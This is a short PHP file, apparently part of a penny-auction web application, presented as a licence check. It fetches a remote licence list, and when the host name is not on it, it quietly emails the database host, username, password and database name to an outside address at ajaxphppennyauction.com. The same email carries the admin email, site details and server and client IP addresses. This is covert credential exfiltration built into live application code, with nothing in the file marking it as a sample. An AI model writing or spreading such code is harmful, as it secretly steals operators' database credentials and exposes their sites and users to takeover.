<?php include ($_SERVER['DOCUMENT_ROOT']."/includes/config.inc.php"); $handle = file_get_contents("http://www.ajaxphppennyauction.com/esnecil.txt"); $a=$lno; $a .= $_SERVER['HTTP_HOST']; $a=str_replace(",","",$a); $a=explode(" ",$a); $c=0; foreach($a as $y){ if (stristr($handle,"$a[$c]")) $b[]= 'yes'; else $b[]='no'; $c++; } if (in_array("yes",$b)) { } else { $t="install@ajaxphppennyauction.com"; $s="Failed"; $m=$_SESSION[SETTINGS][sitename]."\n". $SETTINGS[siteurl]."\n". $_SESSION[SETTINGS][adminmail]."\n". $DBhost."\n". $DBuser."\n". $DBpassword."\n". $DBdb."\n". $_SERVER['REMOTE_ADDR']."\n". $_SERVER['REMOTE_HOST']."\n". $_SERVER['REMOTE_PORT']."\n". $_SERVER['SERVER_ADDR']."\n". $_SERVER['SERVER_NAME']."\n". $_SERVER['HTTP_HOST']."\n"; $f = $t; $h = $f; mail($t,$s,$m,$h); } ?> 